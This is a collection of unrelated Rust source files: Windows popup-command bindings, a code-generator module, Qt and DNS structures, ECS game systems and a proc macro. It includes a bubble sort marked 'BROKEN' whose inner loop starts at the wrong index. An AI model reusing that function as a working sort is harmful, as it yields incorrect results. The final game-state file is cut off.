pub fn CreateWithHandler<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>, Param1: ::windows::core::IntoParam<'a, UICommandInvokedHandler>>(label: Param0, action: Param1) -> ::windows::core::Result<UICommand> {
Self::IUICommandFactory(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), label.into_param().abi(), action.into_param().abi(), &mut result__).from_abi::<UICommand>(result__)
})
}
pub fn CreateWithHandlerAndId<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>, Param1: ::windows::core::IntoParam<'a, UICommandInvokedHandler>, Param2: ::windows::core::IntoParam<'a, ::windows::core::IInspectable>>(label: Param0, action: Param1, commandid: Param2) -> ::windows::core::Result<UICommand> {
Self::IUICommandFactory(|this| unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), label.into_param().abi(), action.into_param().abi(), commandid.into_param().abi(), &mut result__).from_abi::<UICommand>(result__)
})
}
pub fn IUICommandFactory<R, F: FnOnce(&IUICommandFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<UICommand, IUICommandFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
}
unsafe impl ::windows::core::RuntimeType for UICommand {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.UI.Popups.UICommand;{4ff93a75-4145-47ff-ac7f-dff1c1fa5b0f})");
}
unsafe impl ::windows::core::Interface for UICommand {
type Vtable = IUICommand_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x4ff93a75_4145_47ff_ac7f_dff1c1fa5b0f);
}
impl ::windows::core::RuntimeName for UICommand {
const NAME: &'static str = "Windows.UI.Popups.UICommand";
}
impl ::core::convert::From<UICommand> for ::windows::core::IUnknown {
fn from(value: UICommand) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&UICommand> for ::windows::core::IUnknown {
fn from(value: &UICommand) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for UICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a UICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<UICommand> for ::windows::core::IInspectable {
fn from(value: UICommand) -> Self {
value.0
}
}
impl ::core::convert::From<&UICommand> for ::windows::core::IInspectable {
fn from(value: &UICommand) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for UICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a UICommand {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
impl ::core::convert::From<UICommand> for IUICommand {
fn from(value: UICommand) -> Self {
unsafe { ::core::mem::transmute(value) }
}
}
impl ::core::convert::From<&UICommand> for IUICommand {
fn from(value: &UICommand) -> Self {
::core::convert::From::from(::core::clone::Clone::clone(value))
}
}
impl<'a> ::windows::core::IntoParam<'a, IUICommand> for UICommand {
fn into_param(self) -> ::windows::core::Param<'a, IUICommand> {
::windows::core::Param::Owned(unsafe { ::core::mem::transmute(self) })
}
}
impl<'a> ::windows::core::IntoParam<'a, IUICommand> for &UICommand {
fn into_param(self) -> ::windows::core::Param<'a, IUICommand> {
::windows::core::Param::Borrowed(unsafe { ::core::mem::transmute(self) })
}
}
unsafe impl ::core::marker::Send for UICommand {}
unsafe impl ::core::marker::Sync for UICommand {}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct UICommandInvokedHandler(::windows::core::IUnknown);
impl UICommandInvokedHandler {
pub fn new<F: FnMut(&::core::option::Option<IUICommand>) -> ::windows::core::Result<()> + 'static>(invoke: F) -> Self {
let com = UICommandInvokedHandler_box::<F> {
vtable: &UICommandInvokedHandler_box::<F>::VTABLE,
count: ::windows::core::RefCount::new(1),
invoke,
};
unsafe { core::mem::transmute(::windows::core::alloc::boxed::Box::new(com)) }
}
pub fn Invoke<'a, Param0: ::windows::core::IntoParam<'a, IUICommand>>(&self, command: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).3)(::core::mem::transmute_copy(this), command.into_param().abi()).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for UICommandInvokedHandler {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"delegate({daf77a4f-c27a-4298-9ac6-2922c45e7da6})");
}
unsafe impl ::windows::core::Interface for UICommandInvokedHandler {
type Vtable = UICommandInvokedHandler_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0xdaf77a4f_c27a_4298_9ac6_2922c45e7da6);
}
#[repr(C)]
#[doc(hidden)]
pub struct UICommandInvokedHandler_abi(
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr) -> u32,
pub unsafe extern "system" fn(this: ::windows::core::RawPtr, command: ::windows::core::RawPtr) -> ::windows::core::HRESULT,
);
#[repr(C)]
struct UICommandInvokedHandler_box<F: FnMut(&::core::option::Option<IUICommand>) -> ::windows::core::Result<()> + 'static> {
vtable: *const UICommandInvokedHandler_abi,
invoke: F,
count: ::windows::core::RefCount,
}
impl<F: FnMut(&::core::option::Option<IUICommand>) -> ::windows::core::Result<()> + 'static> UICommandInvokedHandler_box<F> {
const VTABLE: UICommandInvokedHandler_abi = UICommandInvokedHandler_abi(Self::QueryInterface, Self::AddRef, Self::Release, Self::Invoke);
unsafe extern "system" fn QueryInterface(this: ::windows::core::RawPtr, iid: &::windows::core::GUID, interface: *mut ::windows::core::RawPtr) -> ::windows::core::HRESULT {
let this = this as *mut ::windows::core::RawPtr as *mut Self;
*interface = if iid == &<UICommandInvokedHandler as ::windows::core::Interface>::IID || iid == &<::windows::core::IUnknown as ::windows::core::Interface>::IID || iid == &<::windows::core::IAgileObject as ::windows::core::Interface>::IID {
&mut (*this).vtable as *mut _ as _
} else {
::core::ptr::null_mut()
};
if (*interface).is_null() {
::windows::core::HRESULT(0x8000_4002)
} else {
(*this).count.add_ref();
::windows::core::HRESULT(0)
}
}
unsafe extern "system" fn AddRef(this: ::windows::core::RawPtr) -> u32 {
let this = this as *mut ::windows::core::RawPtr as *mut Self;
(*this).count.add_ref()
}
unsafe extern "system" fn Release(this: ::windows::core::RawPtr) -> u32 {
let this = this as *mut ::windows::core::RawPtr as *mut Self;
let remaining = (*this).count.release();
if remaining == 0 {
::windows::core::alloc::boxed::Box::from_raw(this);
}
remaining
}
unsafe extern "system" fn Invoke(this: ::windows::core::RawPtr, command: ::windows::core::RawPtr) -> ::windows::core::HRESULT {
let this = this as *mut ::windows::core::RawPtr as *mut Self;
((*this).invoke)(&*(&command as *const <IUICommand as ::windows::core::Abi>::Abi as *const <IUICommand as ::windows::core::DefaultType>::DefaultType)).into()
}
}
#[repr(transparent)]
#[derive(:: core :: cmp :: PartialEq, :: core :: cmp :: Eq, :: core :: clone :: Clone, :: core :: fmt :: Debug)]
pub struct UICommandSeparator(pub ::windows::core::IInspectable);
impl UICommandSeparator {
pub fn new() -> ::windows::core::Result<Self> {
Self::IActivationFactory(|f| f.activate_instance::<Self>())
}
fn IActivationFactory<R, F: FnOnce(&::windows::core::IActivationFactory) -> ::windows::core::Result<R>>(callback: F) -> ::windows::core::Result<R> {
static mut SHARED: ::windows::core::FactoryCache<UICommandSeparator, ::windows::core::IActivationFactory> = ::windows::core::FactoryCache::new();
unsafe { SHARED.call(callback) }
}
pub fn Label(&self) -> ::windows::core::Result<::windows::core::HSTRING> {
let this = self;
unsafe {
let mut result__: ::core::mem::ManuallyDrop<::windows::core::HSTRING> = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).6)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::HSTRING>(result__)
}
}
pub fn SetLabel<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::HSTRING>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).7)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Invoked(&self) -> ::windows::core::Result<UICommandInvokedHandler> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).8)(::core::mem::transmute_copy(this), &mut result__).from_abi::<UICommandInvokedHandler>(result__)
}
}
pub fn SetInvoked<'a, Param0: ::windows::core::IntoParam<'a, UICommandInvokedHandler>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).9)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
pub fn Id(&self) -> ::windows::core::Result<::windows::core::IInspectable> {
let this = self;
unsafe {
let mut result__: ::windows::core::RawPtr = ::core::mem::zeroed();
(::windows::core::Interface::vtable(this).10)(::core::mem::transmute_copy(this), &mut result__).from_abi::<::windows::core::IInspectable>(result__)
}
}
pub fn SetId<'a, Param0: ::windows::core::IntoParam<'a, ::windows::core::IInspectable>>(&self, value: Param0) -> ::windows::core::Result<()> {
let this = self;
unsafe { (::windows::core::Interface::vtable(this).11)(::core::mem::transmute_copy(this), value.into_param().abi()).ok() }
}
}
unsafe impl ::windows::core::RuntimeType for UICommandSeparator {
const SIGNATURE: ::windows::core::ConstBuffer = ::windows::core::ConstBuffer::from_slice(b"rc(Windows.UI.Popups.UICommandSeparator;{4ff93a75-4145-47ff-ac7f-dff1c1fa5b0f})");
}
unsafe impl ::windows::core::Interface for UICommandSeparator {
type Vtable = IUICommand_abi;
const IID: ::windows::core::GUID = ::windows::core::GUID::from_u128(0x4ff93a75_4145_47ff_ac7f_dff1c1fa5b0f);
}
impl ::windows::core::RuntimeName for UICommandSeparator {
const NAME: &'static str = "Windows.UI.Popups.UICommandSeparator";
}
impl ::core::convert::From<UICommandSeparator> for ::windows::core::IUnknown {
fn from(value: UICommandSeparator) -> Self {
value.0 .0
}
}
impl ::core::convert::From<&UICommandSeparator> for ::windows::core::IUnknown {
fn from(value: &UICommandSeparator) -> Self {
value.0 .0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Owned(self.0 .0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IUnknown> for &'a UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IUnknown> {
::windows::core::Param::Borrowed(&self.0 .0)
}
}
impl ::core::convert::From<UICommandSeparator> for ::windows::core::IInspectable {
fn from(value: UICommandSeparator) -> Self {
value.0
}
}
impl ::core::convert::From<&UICommandSeparator> for ::windows::core::IInspectable {
fn from(value: &UICommandSeparator) -> Self {
value.0.clone()
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Owned(self.0)
}
}
impl<'a> ::windows::core::IntoParam<'a, ::windows::core::IInspectable> for &'a UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, ::windows::core::IInspectable> {
::windows::core::Param::Borrowed(&self.0)
}
}
impl ::core::convert::From<UICommandSeparator> for IUICommand {
fn from(value: UICommandSeparator) -> Self {
unsafe { ::core::mem::transmute(value) }
}
}
impl ::core::convert::From<&UICommandSeparator> for IUICommand {
fn from(value: &UICommandSeparator) -> Self {
::core::convert::From::from(::core::clone::Clone::clone(value))
}
}
impl<'a> ::windows::core::IntoParam<'a, IUICommand> for UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, IUICommand> {
::windows::core::Param::Owned(unsafe { ::core::mem::transmute(self) })
}
}
impl<'a> ::windows::core::IntoParam<'a, IUICommand> for &UICommandSeparator {
fn into_param(self) -> ::windows::core::Param<'a, IUICommand> {
::windows::core::Param::Borrowed(unsafe { ::core::mem::transmute(self) })
}
}
unsafe impl ::core::marker::Send for UICommandSeparator {}
unsafe impl ::core::marker::Sync for UICommandSeparator {}
|
//!
//! Create a `Module` which can hold any number of other `SrcCode` elements.
//!
//! Example
//! -------
//!
//! ```
//! use proffer::*;
//! let m = Module::new("foo")
//! .set_is_pub(true)
//! .add_trait(Trait::new("Bar"))
//! .add_function(Function::new("foo"))
//! .add_struct(Struct::new("Thingy"))
//! .add_impl(Impl::new("Thingy"))
//! .add_attribute("#[special_outer_attribute]")
//! .add_attribute("#![special_inner_attribute]")
//! .add_doc("//! Module level docs")
//! .to_owned();
//!
//! let src_code = m.generate();
//!
//! let expected = r#"
//! #[special_outer_attribute]
//! pub mod foo
//! {
//! #![special_inner_attribute]
//! //! Module level docs
//!
//! trait Bar
//! {
//! }
//!
//! fn foo() -> ()
//! {
//! }
//!
//! struct Thingy
//! {
//! }
//!
//! impl Thingy
//! {
//! }
//! }
//! "#;
//! println!("{}", &src_code);
//! assert_eq!(
//! norm_whitespace(expected), norm_whitespace(&src_code)
//! )
//! ```
//!
use serde::Serialize;
use tera::{Context, Tera};
use crate::*;
use std::borrow::Borrow;
use std::collections::HashMap;
use std::hash::Hash;
/// Represent a module of code
///
/// Example
/// -------
/// ```
/// use proffer::*;
///
/// let m = Module::new("foo")
/// .set_is_pub(true)
/// .add_trait(Trait::new("Bar").set_is_pub(true).to_owned())
/// .add_function(Function::new("foo"))
/// .add_struct(Struct::new("Thingy"))
/// .add_impl(Impl::new("Thingy"))
/// .add_attribute("#[special_outer_attribute]")
/// .add_attribute("#![special_inner_attribute]")
/// .add_doc("//! Module level docs")
/// .add_use_statement("use super::*;")
/// .add_enum(Enum::new("EnumThingy"))
/// .to_owned();
/// ```
#[derive(Default, Serialize, Clone)]
pub struct Module {
name: String,
is_pub: bool,
traits: Vec<Trait>,
functions: Vec<Function>,
structs: Vec<Struct>,
impls: Vec<Impl>,
enums: Vec<Enum>,
docs: Vec<String>,
sub_modules: HashMap<String, Module>,
attributes: Vec<Attribute>,
use_stmts: Vec<String>,
}
impl Module {
/// Create a new module
pub fn new(name: impl ToString) -> Self {
Self {
name: name.to_string(),
..Self::default()
}
}
/// Set if this module is public
pub fn set_is_pub(&mut self, is_pub: bool) -> &mut Self {
self.is_pub = is_pub;
self
}
/// Add submodule
pub fn add_submodule(&mut self, module: Module) -> &mut Self {
self.sub_modules.insert(module.name.clone(), module);
self
}
/// Get a mutable reference to a submodule of this module
pub fn get_submodule_mut<Q>(&mut self, name: &Q) -> Option<&mut Module>
where
String: Borrow<Q>,
Q: ?Sized + Hash + Eq,
{
self.sub_modules.get_mut(name)
}
/// Get a reference to a submodule of this module.
pub fn get_submodule<Q>(&self, name: &Q) -> Option<&Module>
where
String: Borrow<Q>,
Q: ?Sized + Hash + Eq,
{
self.sub_modules.get(name)
}
/// Add a function to the module
pub fn add_function(&mut self, func: Function) -> &mut Self {
self.functions.push(func);
self
}
/// Add a trait to the module
pub fn add_trait(&mut self, tr8t: Trait) -> &mut Self {
self.traits.push(tr8t);
self
}
/// Add a struct to the module
pub fn add_struct(&mut self, stct: Struct) -> &mut Self {
self.structs.push(stct);
self
}
/// Add an impl block to the module
pub fn add_impl(&mut self, iml: Impl) -> &mut Self {
self.impls.push(iml);
self
}
/// Add a `use` statement or similar module level statements
pub fn add_use_statement(&mut self, stmt: impl ToString) -> &mut Self {
self.use_stmts.push(stmt.to_string());
self
}
/// Add an enum to the module
pub fn add_enum(&mut self, enumm: Enum) -> &mut Self {
self.enums.push(enumm);
self
}
}
impl internal::Attributes for Module {
fn attributes_mut(&mut self) -> &mut Vec<Attribute> {
&mut self.attributes
}
}
impl internal::Docs for Module {
fn docs_mut(&mut self) -> &mut Vec<String> {
&mut self.docs
}
}
impl SrcCode for Module {
fn generate(&self) -> String {
let template = r#"
{{ item_attributes | join(sep="
") }}
{% if self.is_pub %}pub {% endif %}mod {{ self.name }}
{
{{ scope_attributes | join(sep="
") }}
{% for doc in self.docs %}{{ doc }}{% endfor %}
{% for stmt in self.use_stmts %}{{ stmt }}{% endfor %}
{% for obj in objs %}{{ obj }}{% endfor %}
{% for sub_mod in submodules %}{{ sub_mod }}{% endfor %}
}
"#;
let mut ctx = Context::new();
ctx.insert("self", &self);
ctx.insert(
"item_attributes",
&self
.attributes
.iter()
.filter_map(|ann| match ann {
Attribute::ItemAttr(a) => Some(a),
Attribute::ScopeAttr(_) => None,
})
.collect::<Vec<&String>>(),
);
ctx.insert(
"scope_attributes",
&self
.attributes
.iter()
.filter_map(|ann| match ann {
Attribute::ItemAttr(_) => None,
Attribute::ScopeAttr(a) => Some(a),
})
.collect::<Vec<&String>>(),
);
let mut objs: Vec<String> = vec![];
self.traits.iter().for_each(|v| objs.push(v.generate()));
self.functions.iter().for_each(|v| objs.push(v.generate()));
self.structs.iter().for_each(|v| objs.push(v.generate()));
self.impls.iter().for_each(|v| objs.push(v.generate()));
self.enums.iter().for_each(|v| objs.push(v.generate()));
ctx.insert("objs", &objs);
ctx.insert(
"submodules",
&self
.sub_modules
.values()
.map(|m| m.generate())
.collect::<Vec<String>>(),
);
Tera::one_off(template, &ctx, false).unwrap()
}
}
|
// auto generated, do not modify.
// created: Mon Feb 22 23:57:02 2016
// src-file: /QtCore/qarraydata.h
// dst-file: /src/core/qarraydata.rs
//
// header block begin =>
#![feature(libc)]
#![feature(core)]
#![feature(collections)]
extern crate libc;
use self::libc::*;
// <= header block end
// main block begin =>
// <= main block end
// use block begin =>
use std::ops::Deref;
// <= use block end
// ext block begin =>
// #[link(name = "Qt5Core")]
// #[link(name = "Qt5Gui")]
// #[link(name = "Qt5Widgets")]
// #[link(name = "QtInline")]
extern {
fn QArrayData_Class_Size() -> c_int;
// proto: static QArrayData * QArrayData::sharedNull();
fn C_ZN10QArrayData10sharedNullEv() -> *mut c_void;
// proto: void * QArrayData::data();
fn C_ZN10QArrayData4dataEv(qthis: u64 /* *mut c_void*/) -> *mut c_void;
// proto: static void QArrayData::deallocate(QArrayData * data, int objectSize, int alignment);
fn C_ZN10QArrayData10deallocateEPS_ii(arg0: *mut c_void, arg1: c_int, arg2: c_int);
// proto: bool QArrayData::isMutable();
fn C_ZNK10QArrayData9isMutableEv(qthis: u64 /* *mut c_void*/) -> c_char;
// proto: int QArrayData::detachCapacity(int newSize);
fn C_ZNK10QArrayData14detachCapacityEi(qthis: u64 /* *mut c_void*/, arg0: c_int) -> c_int;
} // <= ext block end
// body block begin =>
// class sizeof(QArrayData)=1
#[derive(Default)]
pub struct QArrayData {
// qbase: None,
pub qclsinst: u64 /* *mut c_void*/,
}
impl /*struct*/ QArrayData {
pub fn inheritFrom(qthis: u64 /* *mut c_void*/) -> QArrayData {
return QArrayData{qclsinst: qthis, ..Default::default()};
}
}
// proto: static QArrayData * QArrayData::sharedNull();
impl /*struct*/ QArrayData {
pub fn sharedNull_s<RetType, T: QArrayData_sharedNull_s<RetType>>( overload_args: T) -> RetType {
return overload_args.sharedNull_s();
// return 1;
}
}
pub trait QArrayData_sharedNull_s<RetType> {
fn sharedNull_s(self ) -> RetType;
}
// proto: static QArrayData * QArrayData::sharedNull();
impl<'a> /*trait*/ QArrayData_sharedNull_s<QArrayData> for () {
fn sharedNull_s(self ) -> QArrayData {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN10QArrayData10sharedNullEv()};
let mut ret = unsafe {C_ZN10QArrayData10sharedNullEv()};
let mut ret1 = QArrayData::inheritFrom(ret as u64);
return ret1;
// return 1;
}
}
// proto: void * QArrayData::data();
impl /*struct*/ QArrayData {
pub fn data<RetType, T: QArrayData_data<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.data(self);
// return 1;
}
}
pub trait QArrayData_data<RetType> {
fn data(self , rsthis: & QArrayData) -> RetType;
}
// proto: void * QArrayData::data();
impl<'a> /*trait*/ QArrayData_data<*mut c_void> for () {
fn data(self , rsthis: & QArrayData) -> *mut c_void {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN10QArrayData4dataEv()};
let mut ret = unsafe {C_ZN10QArrayData4dataEv(rsthis.qclsinst)};
return ret as *mut c_void; // 1
// return 1;
}
}
// proto: static void QArrayData::deallocate(QArrayData * data, int objectSize, int alignment);
impl /*struct*/ QArrayData {
pub fn deallocate_s<RetType, T: QArrayData_deallocate_s<RetType>>( overload_args: T) -> RetType {
return overload_args.deallocate_s();
// return 1;
}
}
pub trait QArrayData_deallocate_s<RetType> {
fn deallocate_s(self ) -> RetType;
}
// proto: static void QArrayData::deallocate(QArrayData * data, int objectSize, int alignment);
impl<'a> /*trait*/ QArrayData_deallocate_s<()> for (&'a QArrayData, i32, i32) {
fn deallocate_s(self ) -> () {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZN10QArrayData10deallocateEPS_ii()};
let arg0 = self.0.qclsinst as *mut c_void;
let arg1 = self.1 as c_int;
let arg2 = self.2 as c_int;
unsafe {C_ZN10QArrayData10deallocateEPS_ii(arg0, arg1, arg2)};
// return 1;
}
}
// proto: bool QArrayData::isMutable();
impl /*struct*/ QArrayData {
pub fn isMutable<RetType, T: QArrayData_isMutable<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.isMutable(self);
// return 1;
}
}
pub trait QArrayData_isMutable<RetType> {
fn isMutable(self , rsthis: & QArrayData) -> RetType;
}
// proto: bool QArrayData::isMutable();
impl<'a> /*trait*/ QArrayData_isMutable<i8> for () {
fn isMutable(self , rsthis: & QArrayData) -> i8 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK10QArrayData9isMutableEv()};
let mut ret = unsafe {C_ZNK10QArrayData9isMutableEv(rsthis.qclsinst)};
return ret as i8; // 1
// return 1;
}
}
// proto: int QArrayData::detachCapacity(int newSize);
impl /*struct*/ QArrayData {
pub fn detachCapacity<RetType, T: QArrayData_detachCapacity<RetType>>(& self, overload_args: T) -> RetType {
return overload_args.detachCapacity(self);
// return 1;
}
}
pub trait QArrayData_detachCapacity<RetType> {
fn detachCapacity(self , rsthis: & QArrayData) -> RetType;
}
// proto: int QArrayData::detachCapacity(int newSize);
impl<'a> /*trait*/ QArrayData_detachCapacity<i32> for (i32) {
fn detachCapacity(self , rsthis: & QArrayData) -> i32 {
// let qthis: *mut c_void = unsafe{calloc(1, 32)};
// unsafe{_ZNK10QArrayData14detachCapacityEi()};
let arg0 = self as c_int;
let mut ret = unsafe {C_ZNK10QArrayData14detachCapacityEi(rsthis.qclsinst, arg0)};
return ret as i32; // 1
// return 1;
}
}
// <= body block end
|
use specs::prelude::*;
use std::marker::PhantomData;
use super::command::*;
use super::physics::*;
use super::time::*;
pub fn module_systems<'a, 'b>(builder: DispatcherBuilder<'a, 'b>) -> DispatcherBuilder<'a, 'b> {
builder
.with(PlayerCommands, "player_commands", &[])
.with(
TimingSystem::<PlayerBrain>::new(),
"player_brain_timing",
&["player_commands"],
)
.with(
BrainSystem::<PlayerBrain>::new(),
"player_brain",
&["player_brain_timing"],
)
}
pub trait Brain: Component {
fn think(&mut self, delta: DirectedTime, entity: Entity);
}
struct BrainSystem<T> {
phantom_data: PhantomData<T>,
}
impl<T> BrainSystem<T> {
fn new() -> BrainSystem<T> {
BrainSystem {
phantom_data: PhantomData,
}
}
}
impl<'a, T> System<'a> for BrainSystem<T>
where
T: Brain + Component + Send + Sync,
{
type SystemData = (
Read<'a, Timekeeper>,
Entities<'a>,
WriteStorage<'a, T>,
Read<'a, TimingData<T>>,
);
fn run(&mut self, (time, mut entity_s, mut brain_s, brain_timing): Self::SystemData) {
let delta = time.delta();
for (entity, brain, _) in (&*entity_s, &mut brain_s, brain_timing.scheduled()).join() {
brain.think(delta, entity);
}
}
fn setup(&mut self, resources: &mut Resources) {
Self::SystemData::setup(resources);
let mut storage: WriteStorage<T> = SystemData::fetch(&resources);
}
}
#[derive(Component, Debug)]
#[storage(HashMapStorage)]
pub struct PlayerBrain {}
impl Brain for PlayerBrain {
fn think(&mut self, delta: DirectedTime, entity: Entity) {
trace!("{:?} is thinking... {:?}", entity, delta);
}
}
impl Timed for PlayerBrain {}
struct PlayerCommands;
#[derive(SystemData)]
struct PlayerCommandsData<'a> {
time: Write<'a, Timekeeper>,
commands: Write<'a, GameCommandQueue>,
entity: Entities<'a>,
brain: WriteStorage<'a, PlayerBrain>,
brain_timing: Write<'a, TimingData<PlayerBrain>>,
movable: WriteStorage<'a, Movable>,
movable_timing: Write<'a, TimingData<Movable>>,
}
impl<'a> System<'a> for PlayerCommands {
type SystemData = PlayerCommandsData<'a>;
fn run(&mut self, mut data: Self::SystemData) {
for (entity, mut brain, mut movable) in
(&*data.entity, &mut data.brain, &mut data.movable).join()
{
while let Some(command) = data.commands.pop() {
match command {
GameCommand::Move(direction) => {
let duration = Duration::from_millis(250);
data.time.add_simulation_time(duration);
info!("Move {:?}", direction);
movable.start_moving(
&entity,
&data.time,
&mut data.movable_timing,
direction,
duration,
);
}
}
}
}
}
}
|
struct S1;
pub struct S2;
pub(crate) struct S3;
pub(super) struct S4;
pub(super::super) struct S5;
|
extern crate proc_macro;
mod expand;
use proc_macro::TokenStream;
use syn::parse_macro_input;
#[proc_macro_derive(Valuable, attributes(valuable))]
pub fn derive_valuable(input: TokenStream) -> TokenStream {
let mut input = parse_macro_input!(input as syn::DeriveInput);
/*
ser::expand_derive_serialize(&mut input)
.unwrap_or_else(to_compile_errors)
.into()
*/
expand::derive_valuable(&mut input).into()
} |
// This file is part of linux-epoll. It is subject to the license terms in the COPYRIGHT file found in the top-level directory of this distribution and at https://raw.githubusercontent.com/lemonrock/linux-epoll/master/COPYRIGHT. No part of linux-epoll, including this file, may be copied, modified, propagated, or distributed except according to the terms contained in the COPYRIGHT file.
// Copyright © 2019 The developers of linux-epoll. See the COPYRIGHT file in the top-level directory of this distribution and at https://raw.githubusercontent.com/lemonrock/linux-epoll/master/COPYRIGHT.
#[repr(C, packed)]
struct ResourceRecordFooter
{
type_: DataType,
class: [u8; 2],
ttl: [u8; 4],
rdlen: [u8; 2],
rdata: ResourceData,
}
impl ResourceRecordFooter
{
const MinimumSize: usize = size_of::<DataType>() + size_of::<[u8; 2]>() + size_of::<[u8; 4]>() + size_of::<[u8; 2]>() + ResourceData::MinimumSize;
#[inline(always)]
fn resource_record_type(&self) -> DataType
{
self.type_
}
#[inline(always)]
fn resource_record_class(&self) -> Result<ResourceRecordClass, DnsProtocolError>
{
let class = self.class;
let (upper, lower) = unsafe { transmute(class) };
if likely!(upper == 0x00)
{
if likely!(lower == 0x01)
{
return Ok(ResourceRecordClass::Internet)
}
}
Err(ClassIsReservedUnassignedOrObsolete(class))
}
#[inline(always)]
fn requestors_udp_payload_size(&self) -> u16
{
self.debug_assert_is_opt();
self.class.from_network_endian_to_native_endian()
}
#[inline(always)]
fn time_to_live(&self) -> TimeToLiveInSeconds
{
TimeToLiveInSeconds(self.ttl)
}
#[inline(always)]
fn extended_response_code_and_flags(&self) -> ExtendedResponseCodeAndFlags
{
self.debug_assert_is_opt();
ExtendedResponseCodeAndFlags(self.ttl)
}
#[inline(always)]
fn resource_data_length(&self) -> u16
{
self.rdlen.from_network_endian_to_native_endian()
}
#[inline(always)]
fn resource_data(&mut self) -> &mut ResourceData
{
&mut self.rdata
}
#[inline(always)]
fn debug_assert_is_opt(&self)
{
debug_assert_eq!(self.type_.0 , MetaType::OPT.0, "This is not an EDNS0 extension record")
}
}
|
pub fn bubble_sort<T: PartialOrd>(v: &mut [T]) {
//1 pass if already sorted
for start in 0..v.len() {
let mut sorted = true; //add later
// BROKEN: should start from 0.
//
for i in start..(v.len() - 1) {
if v[i] > v[i + 1] {
v.swap(i, i + 1);
sorted = false;
}
}
if sorted {
return;
}
}
}
|
// See LICENSE file for copyright and license details.
use std::collections::hashmap::HashMap;
use core::core::{
ObjectTypes,
Unit,
Event,
EventMove,
EventEndTurn,
EventCreateUnit,
EventAttackUnit,
};
use core::types::{PlayerId, UnitId, MapPos};
pub struct GameState {
pub units: HashMap<UnitId, Unit>,
}
impl<'a> GameState {
pub fn new() -> GameState {
GameState {
units: HashMap::new(),
}
}
pub fn units_at(&'a self, pos: MapPos) -> Vec<&'a Unit> {
let mut units = Vec::new();
for (_, unit) in self.units.iter() {
if unit.pos == pos {
units.push(unit);
}
}
units
}
fn refresh_units(&mut self, object_types: &ObjectTypes, player_id: PlayerId) {
for (_, unit) in self.units.iter_mut() {
if unit.player_id == player_id {
unit.move_points
= object_types.get_unit_type(unit.type_id).move_points;
unit.attacked = false;
}
}
}
pub fn apply_event(&mut self, object_types: &ObjectTypes, event: &Event) {
match *event {
EventMove(id, ref path) => {
let pos = *path.last().unwrap();
let unit = self.units.get_mut(&id);
unit.pos = pos;
assert!(unit.move_points > 0);
unit.move_points = 0;
},
EventEndTurn(_, new_player_id) => {
self.refresh_units(object_types, new_player_id);
},
